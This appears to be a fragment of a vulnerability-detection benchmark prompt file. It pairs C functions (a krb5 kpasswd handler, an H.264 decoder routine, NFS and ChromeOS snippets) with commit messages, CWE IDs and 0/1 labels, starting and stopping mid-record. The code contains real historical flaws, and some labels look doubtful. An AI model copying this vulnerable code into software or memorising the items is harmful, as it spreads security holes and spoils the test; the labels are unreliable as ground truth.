Commit Message: [SendTabToSelf] Added logic to display an infobar for the feature.
This CL is one of many to come. It covers:
* Creation of the infobar from the SendTabToSelfInfoBarController
* Plumbed the call to create the infobar to the native code.
* Open the link when user taps on the link
In follow-up CLs, the following will be done:
* Instantiate the InfobarController in the ChromeActivity
* Listen for Model changes in the Controller
Bug: 949233,963193
Change-Id: I5df1359debb5f0f35c32c2df3b691bf9129cdeb8
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1604406
Reviewed-by: Tommy Nyquist <[email protected]>
Reviewed-by: Avi Drissman <[email protected]>
Reviewed-by: Mikel Astiz <[email protected]>
Reviewed-by: sebsg <[email protected]>
Reviewed-by: Jeffrey Cohen <[email protected]>
Reviewed-by: Matthew Jones <[email protected]>
Commit-Queue: Tanya Gupta <[email protected]>
Cr-Commit-Position: refs/heads/master@{#660854}
CWE ID: CWE-190
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: process_chpw_request(krb5_context context, void *server_handle, char *realm,
krb5_keytab keytab, const krb5_fulladdr *local_faddr,
const krb5_fulladdr *remote_faddr, krb5_data *req,
krb5_data *rep)
{
krb5_error_code ret;
char *ptr;
unsigned int plen, vno;
krb5_data ap_req, ap_rep = empty_data();
krb5_data cipher = empty_data(), clear = empty_data();
krb5_auth_context auth_context = NULL;
krb5_principal changepw = NULL;
krb5_principal client, target = NULL;
krb5_ticket *ticket = NULL;
krb5_replay_data replay;
krb5_error krberror;
int numresult;
char strresult[1024];
char *clientstr = NULL, *targetstr = NULL;
const char *errmsg = NULL;
size_t clen;
char *cdots;
struct sockaddr_storage ss;
socklen_t salen;
char addrbuf[100];
krb5_address *addr = remote_faddr->address;
*rep = empty_data();
if (req->length < 4) {
/* either this, or the server is printing bad messages,
or the caller passed in garbage */
ret = KRB5KRB_AP_ERR_MODIFIED;
numresult = KRB5_KPASSWD_MALFORMED;
strlcpy(strresult, "Request was truncated", sizeof(strresult));
goto chpwfail;
}
ptr = req->data;
/* verify length */
plen = (*ptr++ & 0xff);
plen = (plen<<8) | (*ptr++ & 0xff);
if (plen != req->length) {
ret = KRB5KRB_AP_ERR_MODIFIED;
numresult = KRB5_KPASSWD_MALFORMED;
strlcpy(strresult, "Request length was inconsistent",
sizeof(strresult));
goto chpwfail;
}
/* verify version number */
vno = (*ptr++ & 0xff) ;
vno = (vno<<8) | (*ptr++ & 0xff);
if (vno != 1 && vno != RFC3244_VERSION) {
ret = KRB5KDC_ERR_BAD_PVNO;
numresult = KRB5_KPASSWD_BAD_VERSION;
snprintf(strresult, sizeof(strresult),
"Request contained unknown protocol version number %d", vno);
goto chpwfail;
}
/* read, check ap-req length */
ap_req.length = (*ptr++ & 0xff);
ap_req.length = (ap_req.length<<8) | (*ptr++ & 0xff);
if (ptr + ap_req.length >= req->data + req->length) {
ret = KRB5KRB_AP_ERR_MODIFIED;
numresult = KRB5_KPASSWD_MALFORMED;
strlcpy(strresult, "Request was truncated in AP-REQ",
sizeof(strresult));
goto chpwfail;
}
/* verify ap_req */
ap_req.data = ptr;
ptr += ap_req.length;
ret = krb5_auth_con_init(context, &auth_context);
if (ret) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult, "Failed initializing auth context",
sizeof(strresult));
goto chpwfail;
}
ret = krb5_auth_con_setflags(context, auth_context,
KRB5_AUTH_CONTEXT_DO_SEQUENCE);
if (ret) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult, "Failed initializing auth context",
sizeof(strresult));
goto chpwfail;
}
ret = krb5_build_principal(context, &changepw, strlen(realm), realm,
"kadmin", "changepw", NULL);
if (ret) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult, "Failed building kadmin/changepw principal",
sizeof(strresult));
goto chpwfail;
}
ret = krb5_rd_req(context, &auth_context, &ap_req, changepw, keytab,
NULL, &ticket);
if (ret) {
numresult = KRB5_KPASSWD_AUTHERROR;
strlcpy(strresult, "Failed reading application request",
sizeof(strresult));
goto chpwfail;
}
/* construct the ap-rep */
ret = krb5_mk_rep(context, auth_context, &ap_rep);
if (ret) {
numresult = KRB5_KPASSWD_AUTHERROR;
strlcpy(strresult, "Failed replying to application request",
sizeof(strresult));
goto chpwfail;
}
/* decrypt the ChangePasswdData */
cipher.length = (req->data + req->length) - ptr;
cipher.data = ptr;
/*
* Don't set a remote address in auth_context before calling krb5_rd_priv,
* so that we can work against clients behind a NAT. Reflection attacks
* aren't a concern since we use sequence numbers and since our requests
* don't look anything like our responses. Also don't set a local address,
* since we don't know what interface the request was received on.
*/
ret = krb5_rd_priv(context, auth_context, &cipher, &clear, &replay);
if (ret) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult, "Failed decrypting request", sizeof(strresult));
goto chpwfail;
}
client = ticket->enc_part2->client;
/* decode ChangePasswdData for setpw requests */
if (vno == RFC3244_VERSION) {
krb5_data *clear_data;
ret = decode_krb5_setpw_req(&clear, &clear_data, &target);
if (ret != 0) {
numresult = KRB5_KPASSWD_MALFORMED;
strlcpy(strresult, "Failed decoding ChangePasswdData",
sizeof(strresult));
goto chpwfail;
}
zapfree(clear.data, clear.length);
clear = *clear_data;
free(clear_data);
if (target != NULL) {
ret = krb5_unparse_name(context, target, &targetstr);
if (ret != 0) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult, "Failed unparsing target name for log",
sizeof(strresult));
goto chpwfail;
}
}
}
ret = krb5_unparse_name(context, client, &clientstr);
if (ret) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult, "Failed unparsing client name for log",
sizeof(strresult));
goto chpwfail;
}
/* for cpw, verify that this is an AS_REQ ticket */
if (vno == 1 &&
(ticket->enc_part2->flags & TKT_FLG_INITIAL) == 0) {
numresult = KRB5_KPASSWD_INITIAL_FLAG_NEEDED;
strlcpy(strresult, "Ticket must be derived from a password",
sizeof(strresult));
goto chpwfail;
}
/* change the password */
ptr = k5memdup0(clear.data, clear.length, &ret);
ret = schpw_util_wrapper(server_handle, client, target,
(ticket->enc_part2->flags & TKT_FLG_INITIAL) != 0,
ptr, NULL, strresult, sizeof(strresult));
if (ret)
errmsg = krb5_get_error_message(context, ret);
/* zap the password */
zapfree(clear.data, clear.length);
zapfree(ptr, clear.length);
clear = empty_data();
clen = strlen(clientstr);
trunc_name(&clen, &cdots);
switch (addr->addrtype) {
case ADDRTYPE_INET: {
struct sockaddr_in *sin = ss2sin(&ss);
sin->sin_family = AF_INET;
memcpy(&sin->sin_addr, addr->contents, addr->length);
sin->sin_port = htons(remote_faddr->port);
salen = sizeof(*sin);
break;
}
case ADDRTYPE_INET6: {
struct sockaddr_in6 *sin6 = ss2sin6(&ss);
sin6->sin6_family = AF_INET6;
memcpy(&sin6->sin6_addr, addr->contents, addr->length);
sin6->sin6_port = htons(remote_faddr->port);
salen = sizeof(*sin6);
break;
}
default: {
struct sockaddr *sa = ss2sa(&ss);
sa->sa_family = AF_UNSPEC;
salen = sizeof(*sa);
break;
}
}
if (getnameinfo(ss2sa(&ss), salen,
addrbuf, sizeof(addrbuf), NULL, 0,
NI_NUMERICHOST | NI_NUMERICSERV) != 0)
strlcpy(addrbuf, "<unprintable>", sizeof(addrbuf));
if (vno == RFC3244_VERSION) {
size_t tlen;
char *tdots;
const char *targetp;
if (target == NULL) {
tlen = clen;
tdots = cdots;
targetp = targetstr;
} else {
tlen = strlen(targetstr);
trunc_name(&tlen, &tdots);
targetp = clientstr;
}
krb5_klog_syslog(LOG_NOTICE, _("setpw request from %s by %.*s%s for "
"%.*s%s: %s"), addrbuf, (int) clen,
clientstr, cdots, (int) tlen, targetp, tdots,
errmsg ? errmsg : "success");
} else {
krb5_klog_syslog(LOG_NOTICE, _("chpw request from %s for %.*s%s: %s"),
addrbuf, (int) clen, clientstr, cdots,
errmsg ? errmsg : "success");
}
switch (ret) {
case KADM5_AUTH_CHANGEPW:
numresult = KRB5_KPASSWD_ACCESSDENIED;
break;
case KADM5_PASS_Q_TOOSHORT:
case KADM5_PASS_REUSE:
case KADM5_PASS_Q_CLASS:
case KADM5_PASS_Q_DICT:
case KADM5_PASS_Q_GENERIC:
case KADM5_PASS_TOOSOON:
numresult = KRB5_KPASSWD_SOFTERROR;
break;
case 0:
numresult = KRB5_KPASSWD_SUCCESS;
strlcpy(strresult, "", sizeof(strresult));
break;
default:
numresult = KRB5_KPASSWD_HARDERROR;
break;
}
chpwfail:
clear.length = 2 + strlen(strresult);
clear.data = (char *) malloc(clear.length);
ptr = clear.data;
*ptr++ = (numresult>>8) & 0xff;
*ptr++ = numresult & 0xff;
memcpy(ptr, strresult, strlen(strresult));
cipher = empty_data();
if (ap_rep.length) {
ret = krb5_auth_con_setaddrs(context, auth_context,
local_faddr->address, NULL);
if (ret) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult,
"Failed storing client and server internet addresses",
sizeof(strresult));
} else {
ret = krb5_mk_priv(context, auth_context, &clear, &cipher,
&replay);
if (ret) {
numresult = KRB5_KPASSWD_HARDERROR;
strlcpy(strresult, "Failed encrypting reply",
sizeof(strresult));
}
}
}
/* if no KRB-PRIV was constructed, then we need a KRB-ERROR.
if this fails, just bail. there's nothing else we can do. */
if (cipher.length == 0) {
/* clear out ap_rep now, so that it won't be inserted in the
reply */
if (ap_rep.length) {
free(ap_rep.data);
ap_rep = empty_data();
}
krberror.ctime = 0;
krberror.cusec = 0;
krberror.susec = 0;
ret = krb5_timeofday(context, &krberror.stime);
if (ret)
goto bailout;
/* this is really icky. but it's what all the other callers
to mk_error do. */
krberror.error = ret;
krberror.error -= ERROR_TABLE_BASE_krb5;
if (krberror.error < 0 || krberror.error > 128)
krberror.error = KRB_ERR_GENERIC;
krberror.client = NULL;
ret = krb5_build_principal(context, &krberror.server,
strlen(realm), realm,
"kadmin", "changepw", NULL);
if (ret)
goto bailout;
krberror.text.length = 0;
krberror.e_data = clear;
ret = krb5_mk_error(context, &krberror, &cipher);
krb5_free_principal(context, krberror.server);
if (ret)
goto bailout;
}
/* construct the reply */
ret = alloc_data(rep, 6 + ap_rep.length + cipher.length);
if (ret)
goto bailout;
ptr = rep->data;
/* length */
*ptr++ = (rep->length>>8) & 0xff;
*ptr++ = rep->length & 0xff;
/* version == 0x0001 big-endian */
*ptr++ = 0;
*ptr++ = 1;
/* ap_rep length, big-endian */
*ptr++ = (ap_rep.length>>8) & 0xff;
*ptr++ = ap_rep.length & 0xff;
/* ap-rep data */
if (ap_rep.length) {
memcpy(ptr, ap_rep.data, ap_rep.length);
ptr += ap_rep.length;
}
/* krb-priv or krb-error */
memcpy(ptr, cipher.data, cipher.length);
bailout:
krb5_auth_con_free(context, auth_context);
krb5_free_principal(context, changepw);
krb5_free_ticket(context, ticket);
free(ap_rep.data);
free(clear.data);
free(cipher.data);
krb5_free_principal(context, target);
krb5_free_unparsed_name(context, targetstr);
krb5_free_unparsed_name(context, clientstr);
krb5_free_error_message(context, errmsg);
return ret;
}
Commit Message: Fix kpasswd UDP ping-pong [CVE-2002-2443]
The kpasswd service provided by kadmind was vulnerable to a UDP
"ping-pong" attack [CVE-2002-2443]. Don't respond to packets unless
they pass some basic validation, and don't respond to our own error
packets.
Some authors use CVE-1999-0103 to refer to the kpasswd UDP ping-pong
attack or UDP ping-pong attacks in general, but there is discussion
leading toward narrowing the definition of CVE-1999-0103 to the echo,
chargen, or other similar built-in inetd services.
Thanks to Vincent Danen for alerting us to this issue.
CVSSv2: AV:N/AC:L/Au:N/C:N/I:N/A:P/E:P/RL:O/RC:C
ticket: 7637 (new)
target_version: 1.11.3
tags: pullup
CWE ID: CWE-20
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: WORD32 ih264d_mark_err_slice_skip(dec_struct_t * ps_dec,
WORD32 num_mb_skip,
UWORD8 u1_is_idr_slice,
UWORD16 u2_frame_num,
pocstruct_t *ps_cur_poc,
WORD32 prev_slice_err)
{
WORD32 i2_cur_mb_addr;
UWORD32 u1_num_mbs, u1_num_mbsNby2;
UWORD32 u1_mb_idx = ps_dec->u1_mb_idx;
UWORD32 i2_mb_skip_run;
UWORD32 u1_num_mbs_next, u1_end_of_row;
const UWORD32 i2_pic_wdin_mbs = ps_dec->u2_frm_wd_in_mbs;
UWORD32 u1_slice_end;
UWORD32 u1_tfr_n_mb;
UWORD32 u1_decode_nmb;
dec_bit_stream_t * const ps_bitstrm = ps_dec->ps_bitstrm;
dec_slice_params_t * ps_slice = ps_dec->ps_cur_slice;
UWORD32 *pu4_bitstrm_buf = ps_bitstrm->pu4_buffer;
UWORD32 *pu4_bitstrm_ofst = &ps_bitstrm->u4_ofst;
deblk_mb_t *ps_cur_deblk_mb;
dec_mb_info_t *ps_cur_mb_info;
parse_pmbarams_t *ps_parse_mb_data;
UWORD32 u1_inter_mb_type;
UWORD32 u1_deblk_mb_type;
UWORD16 u2_total_mbs_coded;
UWORD32 u1_mbaff = ps_slice->u1_mbaff_frame_flag;
parse_part_params_t *ps_part_info;
WORD32 ret;
if(ps_dec->ps_dec_err_status->u1_err_flag & REJECT_CUR_PIC)
{
ih264d_err_pic_dispbuf_mgr(ps_dec);
return 0;
}
if(ps_dec->ps_cur_slice->u1_mbaff_frame_flag && (num_mb_skip & 1))
{
num_mb_skip++;
}
ps_dec->ps_dpb_cmds->u1_long_term_reference_flag = 0;
if(prev_slice_err == 1)
{
/* first slice - missing/header corruption */
ps_dec->ps_cur_slice->u2_frame_num = u2_frame_num;
if(!ps_dec->u1_first_slice_in_stream)
{
ih264d_end_of_pic(ps_dec, u1_is_idr_slice,
ps_dec->ps_cur_slice->u2_frame_num);
ps_dec->s_cur_pic_poc.u2_frame_num =
ps_dec->ps_cur_slice->u2_frame_num;
}
{
WORD32 i, j, poc = 0;
ps_dec->ps_cur_slice->u2_first_mb_in_slice = 0;
ps_dec->pf_mvpred = ih264d_mvpred_nonmbaff;
ps_dec->p_form_mb_part_info = ih264d_form_mb_part_info_bp;
ps_dec->p_motion_compensate = ih264d_motion_compensate_bp;
if(ps_dec->ps_cur_pic != NULL)
poc = ps_dec->ps_cur_pic->i4_poc + 2;
j = -1;
for(i = 0; i < MAX_NUM_PIC_PARAMS; i++)
{
if(ps_dec->ps_pps[i].u1_is_valid == TRUE)
{
if(ps_dec->ps_pps[i].ps_sps->u1_is_valid == TRUE)
{
j = i;
break;
}
}
}
if(j == -1)
{
return ERROR_INV_SLICE_HDR_T;
}
/* call ih264d_start_of_pic only if it was not called earlier*/
if(ps_dec->u4_pic_buf_got == 0)
{
ps_dec->ps_cur_slice->u1_slice_type = P_SLICE;
ps_dec->ps_cur_slice->u1_nal_ref_idc = 1;
ps_dec->ps_cur_slice->u1_nal_unit_type = 1;
ret = ih264d_start_of_pic(ps_dec, poc, ps_cur_poc,
ps_dec->ps_cur_slice->u2_frame_num,
&ps_dec->ps_pps[j]);
if(ret != OK)
{
return ret;
}
}
ps_dec->ps_ref_pic_buf_lx[0][0]->u1_pic_buf_id = 0;
ps_dec->u4_output_present = 0;
{
ih264d_get_next_display_field(ps_dec,
ps_dec->ps_out_buffer,
&(ps_dec->s_disp_op));
/* If error code is non-zero then there is no buffer available for display,
hence avoid format conversion */
if(0 != ps_dec->s_disp_op.u4_error_code)
{
ps_dec->u4_fmt_conv_cur_row = ps_dec->s_disp_frame_info.u4_y_ht;
}
else
ps_dec->u4_output_present = 1;
}
if(ps_dec->u1_separate_parse == 1)
{
if(ps_dec->u4_dec_thread_created == 0)
{
ithread_create(ps_dec->pv_dec_thread_handle, NULL,
(void *)ih264d_decode_picture_thread,
(void *)ps_dec);
ps_dec->u4_dec_thread_created = 1;
}
if((ps_dec->u4_num_cores == 3) &&
((ps_dec->u4_app_disable_deblk_frm == 0) || ps_dec->i1_recon_in_thread3_flag)
&& (ps_dec->u4_bs_deblk_thread_created == 0))
{
ps_dec->u4_start_recon_deblk = 0;
ithread_create(ps_dec->pv_bs_deblk_thread_handle, NULL,
(void *)ih264d_recon_deblk_thread,
(void *)ps_dec);
ps_dec->u4_bs_deblk_thread_created = 1;
}
}
}
ps_dec->u4_first_slice_in_pic = 0;
}
else
{
dec_slice_struct_t *ps_parse_cur_slice;
ps_parse_cur_slice = ps_dec->ps_dec_slice_buf + ps_dec->u2_cur_slice_num;
if(ps_dec->u1_slice_header_done
&& ps_parse_cur_slice == ps_dec->ps_parse_cur_slice)
{
if((u1_mbaff) && (ps_dec->u4_num_mbs_cur_nmb & 1))
{
ps_dec->u4_num_mbs_cur_nmb = ps_dec->u4_num_mbs_cur_nmb - 1;
ps_dec->u2_cur_mb_addr--;
}
u1_num_mbs = ps_dec->u4_num_mbs_cur_nmb;
if(u1_num_mbs)
{
ps_cur_mb_info = ps_dec->ps_nmb_info + u1_num_mbs - 1;
}
else
{
if(ps_dec->u1_separate_parse)
{
ps_cur_mb_info = ps_dec->ps_nmb_info;
}
else
{
ps_cur_mb_info = ps_dec->ps_nmb_info
+ ps_dec->u4_num_mbs_prev_nmb - 1;
}
}
ps_dec->u2_mby = ps_cur_mb_info->u2_mby;
ps_dec->u2_mbx = ps_cur_mb_info->u2_mbx;
ps_dec->u1_mb_ngbr_availablity =
ps_cur_mb_info->u1_mb_ngbr_availablity;
if(u1_num_mbs)
{
ps_dec->pv_parse_tu_coeff_data = ps_dec->pv_prev_mb_parse_tu_coeff_data;
ps_dec->u2_cur_mb_addr--;
ps_dec->i4_submb_ofst -= SUB_BLK_SIZE;
if (ps_dec->u1_pr_sl_type == P_SLICE
|| ps_dec->u1_pr_sl_type == B_SLICE)
{
ps_dec->pf_mvpred_ref_tfr_nby2mb(ps_dec, u1_mb_idx, u1_num_mbs);
ps_dec->ps_part = ps_dec->ps_parse_part_params;
}
u1_num_mbs_next = i2_pic_wdin_mbs - ps_dec->u2_mbx - 1;
u1_end_of_row = (!u1_num_mbs_next)
&& (!(u1_mbaff && (u1_num_mbs & 0x01)));
u1_slice_end = 1;
u1_tfr_n_mb = 1;
ps_cur_mb_info->u1_end_of_slice = u1_slice_end;
if(ps_dec->u1_separate_parse)
{
ih264d_parse_tfr_nmb(ps_dec, u1_mb_idx, u1_num_mbs,
u1_num_mbs_next, u1_tfr_n_mb, u1_end_of_row);
ps_dec->ps_nmb_info += u1_num_mbs;
}
else
{
ih264d_decode_recon_tfr_nmb(ps_dec, u1_mb_idx, u1_num_mbs,
u1_num_mbs_next, u1_tfr_n_mb, u1_end_of_row);
}
ps_dec->u2_total_mbs_coded += u1_num_mbs;
ps_dec->u1_mb_idx = 0;
ps_dec->u4_num_mbs_cur_nmb = 0;
}
if(ps_dec->u2_total_mbs_coded
>= ps_dec->u2_frm_ht_in_mbs * ps_dec->u2_frm_wd_in_mbs)
{
ps_dec->u1_pic_decode_done = 1;
return 0;
}
/* Inserting new slice only if the current slice has atleast 1 MB*/
if(ps_dec->ps_parse_cur_slice->u4_first_mb_in_slice <
(UWORD32)(ps_dec->u2_total_mbs_coded >> ps_slice->u1_mbaff_frame_flag))
{
ps_dec->i2_prev_slice_mbx = ps_dec->u2_mbx;
ps_dec->i2_prev_slice_mby = ps_dec->u2_mby;
ps_dec->u2_cur_slice_num++;
ps_dec->ps_parse_cur_slice++;
}
}
else
{
ps_dec->ps_parse_cur_slice = ps_dec->ps_dec_slice_buf
+ ps_dec->u2_cur_slice_num;
}
}
/******************************************************/
/* Initializations to new slice */
/******************************************************/
{
WORD32 num_entries;
WORD32 size;
UWORD8 *pu1_buf;
num_entries = MIN(MAX_FRAMES, ps_dec->u4_num_ref_frames_at_init);
num_entries = 2 * ((2 * num_entries) + 1);
size = num_entries * sizeof(void *);
size += PAD_MAP_IDX_POC * sizeof(void *);
pu1_buf = (UWORD8 *)ps_dec->pv_map_ref_idx_to_poc_buf;
pu1_buf += size * ps_dec->u2_cur_slice_num;
ps_dec->ps_parse_cur_slice->ppv_map_ref_idx_to_poc = (volatile void **)pu1_buf;
}
ps_dec->ps_cur_slice->u2_first_mb_in_slice = ps_dec->u2_total_mbs_coded >> u1_mbaff;
ps_dec->ps_cur_slice->i1_slice_alpha_c0_offset = 0;
ps_dec->ps_cur_slice->i1_slice_beta_offset = 0;
if(ps_dec->ps_cur_slice->u1_field_pic_flag)
ps_dec->u2_prv_frame_num = ps_dec->ps_cur_slice->u2_frame_num;
ps_dec->ps_parse_cur_slice->u4_first_mb_in_slice = ps_dec->u2_total_mbs_coded >> u1_mbaff;
ps_dec->ps_parse_cur_slice->u2_log2Y_crwd = ps_dec->ps_cur_slice->u2_log2Y_crwd;
if(ps_dec->u1_separate_parse)
{
ps_dec->ps_parse_cur_slice->pv_tu_coeff_data_start = ps_dec->pv_parse_tu_coeff_data;
}
else
{
ps_dec->pv_proc_tu_coeff_data = ps_dec->pv_parse_tu_coeff_data;
}
/******************************************************/
/* Initializations specific to P slice */
/******************************************************/
u1_inter_mb_type = P_MB;
u1_deblk_mb_type = D_INTER_MB;
ps_dec->ps_cur_slice->u1_slice_type = P_SLICE;
ps_dec->ps_parse_cur_slice->slice_type = P_SLICE;
ps_dec->pf_mvpred_ref_tfr_nby2mb = ih264d_mv_pred_ref_tfr_nby2_pmb;
ps_dec->ps_part = ps_dec->ps_parse_part_params;
ps_dec->u2_mbx =
(MOD(ps_dec->ps_cur_slice->u2_first_mb_in_slice - 1, ps_dec->u2_frm_wd_in_mbs));
ps_dec->u2_mby =
(DIV(ps_dec->ps_cur_slice->u2_first_mb_in_slice - 1, ps_dec->u2_frm_wd_in_mbs));
ps_dec->u2_mby <<= u1_mbaff;
/******************************************************/
/* Parsing / decoding the slice */
/******************************************************/
ps_dec->u1_slice_header_done = 2;
ps_dec->u1_qp = ps_slice->u1_slice_qp;
ih264d_update_qp(ps_dec, 0);
u1_mb_idx = ps_dec->u1_mb_idx;
ps_parse_mb_data = ps_dec->ps_parse_mb_data;
u1_num_mbs = u1_mb_idx;
u1_slice_end = 0;
u1_tfr_n_mb = 0;
u1_decode_nmb = 0;
u1_num_mbsNby2 = 0;
i2_cur_mb_addr = ps_dec->u2_total_mbs_coded;
i2_mb_skip_run = num_mb_skip;
while(!u1_slice_end)
{
UWORD8 u1_mb_type;
if(i2_cur_mb_addr > ps_dec->ps_cur_sps->u2_max_mb_addr)
break;
ps_cur_mb_info = ps_dec->ps_nmb_info + u1_num_mbs;
ps_dec->u4_num_mbs_cur_nmb = u1_num_mbs;
ps_cur_mb_info->u1_Mux = 0;
ps_dec->u4_num_pmbair = (u1_num_mbs >> u1_mbaff);
ps_cur_deblk_mb = ps_dec->ps_deblk_mbn + u1_num_mbs;
ps_cur_mb_info->u1_end_of_slice = 0;
/* Storing Default partition info */
ps_parse_mb_data->u1_num_part = 1;
ps_parse_mb_data->u1_isI_mb = 0;
/**************************************************************/
/* Get the required information for decoding of MB */
/**************************************************************/
/* mb_x, mb_y, neighbor availablity, */
if (u1_mbaff)
ih264d_get_mb_info_cavlc_mbaff(ps_dec, i2_cur_mb_addr, ps_cur_mb_info, i2_mb_skip_run);
else
ih264d_get_mb_info_cavlc_nonmbaff(ps_dec, i2_cur_mb_addr, ps_cur_mb_info, i2_mb_skip_run);
/* Set the deblocking parameters for this MB */
if(ps_dec->u4_app_disable_deblk_frm == 0)
{
ih264d_set_deblocking_parameters(ps_cur_deblk_mb, ps_slice,
ps_dec->u1_mb_ngbr_availablity,
ps_dec->u1_cur_mb_fld_dec_flag);
}
/* Set appropriate flags in ps_cur_mb_info and ps_dec */
ps_dec->i1_prev_mb_qp_delta = 0;
ps_dec->u1_sub_mb_num = 0;
ps_cur_mb_info->u1_mb_type = MB_SKIP;
ps_cur_mb_info->u1_mb_mc_mode = PRED_16x16;
ps_cur_mb_info->u1_cbp = 0;
/* Storing Skip partition info */
ps_part_info = ps_dec->ps_part;
ps_part_info->u1_is_direct = PART_DIRECT_16x16;
ps_part_info->u1_sub_mb_num = 0;
ps_dec->ps_part++;
/* Update Nnzs */
ih264d_update_nnz_for_skipmb(ps_dec, ps_cur_mb_info, CAVLC);
ps_cur_mb_info->ps_curmb->u1_mb_type = u1_inter_mb_type;
ps_cur_deblk_mb->u1_mb_type |= u1_deblk_mb_type;
i2_mb_skip_run--;
ps_cur_deblk_mb->u1_mb_qp = ps_dec->u1_qp;
if (u1_mbaff)
{
ih264d_update_mbaff_left_nnz(ps_dec, ps_cur_mb_info);
}
/**************************************************************/
/* Get next Macroblock address */
/**************************************************************/
i2_cur_mb_addr++;
u1_num_mbs++;
u1_num_mbsNby2++;
ps_parse_mb_data++;
/****************************************************************/
/* Check for End Of Row and other flags that determine when to */
/* do DMA setup for N/2-Mb, Decode for N-Mb, and Transfer for */
/* N-Mb */
/****************************************************************/
u1_num_mbs_next = i2_pic_wdin_mbs - ps_dec->u2_mbx - 1;
u1_end_of_row = (!u1_num_mbs_next) && (!(u1_mbaff && (u1_num_mbs & 0x01)));
u1_slice_end = !i2_mb_skip_run;
u1_tfr_n_mb = (u1_num_mbs == ps_dec->u1_recon_mb_grp) || u1_end_of_row
|| u1_slice_end;
u1_decode_nmb = u1_tfr_n_mb || u1_slice_end;
ps_cur_mb_info->u1_end_of_slice = u1_slice_end;
if(u1_decode_nmb)
{
ps_dec->pf_mvpred_ref_tfr_nby2mb(ps_dec, u1_mb_idx, u1_num_mbs);
u1_num_mbsNby2 = 0;
ps_parse_mb_data = ps_dec->ps_parse_mb_data;
ps_dec->ps_part = ps_dec->ps_parse_part_params;
if(ps_dec->u1_separate_parse)
{
ih264d_parse_tfr_nmb(ps_dec, u1_mb_idx, u1_num_mbs,
u1_num_mbs_next, u1_tfr_n_mb, u1_end_of_row);
ps_dec->ps_nmb_info += u1_num_mbs;
}
else
{
ih264d_decode_recon_tfr_nmb(ps_dec, u1_mb_idx, u1_num_mbs, u1_num_mbs_next,
u1_tfr_n_mb, u1_end_of_row);
}
ps_dec->u2_total_mbs_coded += u1_num_mbs;
if(u1_tfr_n_mb)
u1_num_mbs = 0;
u1_mb_idx = u1_num_mbs;
ps_dec->u1_mb_idx = u1_num_mbs;
}
}
ps_dec->u4_num_mbs_cur_nmb = 0;
ps_dec->ps_cur_slice->u4_mbs_in_slice = i2_cur_mb_addr
- ps_dec->ps_parse_cur_slice->u4_first_mb_in_slice;
H264_DEC_DEBUG_PRINT("Mbs in slice: %d\n", ps_dec->ps_cur_slice->u4_mbs_in_slice);
/* incremented here only if first slice is inserted */
if(ps_dec->u4_first_slice_in_pic != 0)
{
ps_dec->ps_parse_cur_slice++;
ps_dec->u2_cur_slice_num++;
}
ps_dec->i2_prev_slice_mbx = ps_dec->u2_mbx;
ps_dec->i2_prev_slice_mby = ps_dec->u2_mby;
if(ps_dec->u2_total_mbs_coded
>= ps_dec->u2_frm_ht_in_mbs * ps_dec->u2_frm_wd_in_mbs)
{
ps_dec->u1_pic_decode_done = 1;
}
return 0;
}
Commit Message: Decoder: Moved end of pic processing to end of decode call
ih264d_end_of_pic() was called after parsing slice of a new picture.
This is now being done at the end of decode of the current picture.
decode_gaps_in_frame_num which needs frame_num of new slice is now
done after decoding frame_num in new slice.
This helps in handling errors in picaff streams with gaps in frames
Bug: 33588051
Bug: 33641588
Bug: 34097231
Change-Id: I1a26e611aaa2c19e2043e05a210849bd21b22220
CWE ID: CWE-119
Target: 1
Example 2:
Code: static u32 xdr_padsize(u32 len)
{
return (len & 3) ? (4 - (len & 3)) : 0;
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404
Target: 0
Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation.
Code: bool ChromeOSSetImeConfig(InputMethodStatusConnection* connection,
const char* section,
const char* config_name,
const ImeConfigValue& value) {
DCHECK(section);
DCHECK(config_name);
g_return_val_if_fail(connection, FALSE);
return connection->SetImeConfig(section, config_name, value);
}
Commit Message: Remove use of libcros from InputMethodLibrary.
BUG=chromium-os:16238
TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before.
Review URL: http://codereview.chromium.org/7003086
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: validate_event(struct pmu_hw_events *hw_events,
struct perf_event *event)
{
